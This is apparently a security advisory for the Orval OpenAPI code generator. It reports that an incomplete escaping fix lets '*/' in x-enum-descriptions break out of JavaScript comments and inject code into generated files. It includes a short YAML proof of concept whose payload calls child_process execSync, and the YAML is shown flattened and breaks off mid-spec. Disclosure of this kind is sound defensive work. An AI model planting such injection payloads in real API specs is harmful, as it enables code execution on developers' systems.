Orval has Code Injection via unsanitized x-enum-descriptions using JS comments
[CVE-2026-23947](https://github.com/advisories/GHSA-h526-wf6g-67jv) had an incomplete fix
While the current [jsStringEscape](https://github.com/orval-labs/orval/blob/02211fc413524be340ba9ace866a2ef68845ca7c/packages/core/src/utils/string.ts#L227) function properly handles single quotes ('), double quotes (") and other characters, it fails to sanitize * and / characters. This allows attackers to break out of JavaScript comment blocks using */ sequences and inject arbitrary code into generated files.
Example:
```yaml
openapi: 3.0.4
info:
title: Enum PoC
version: "1.0.0"
paths:
/ping:
get:
operationId: ping
responses:
"200":

# "pwned */ }; import('child_process').then(cp => cp.execSync('touch pwned')); const a = { /*"
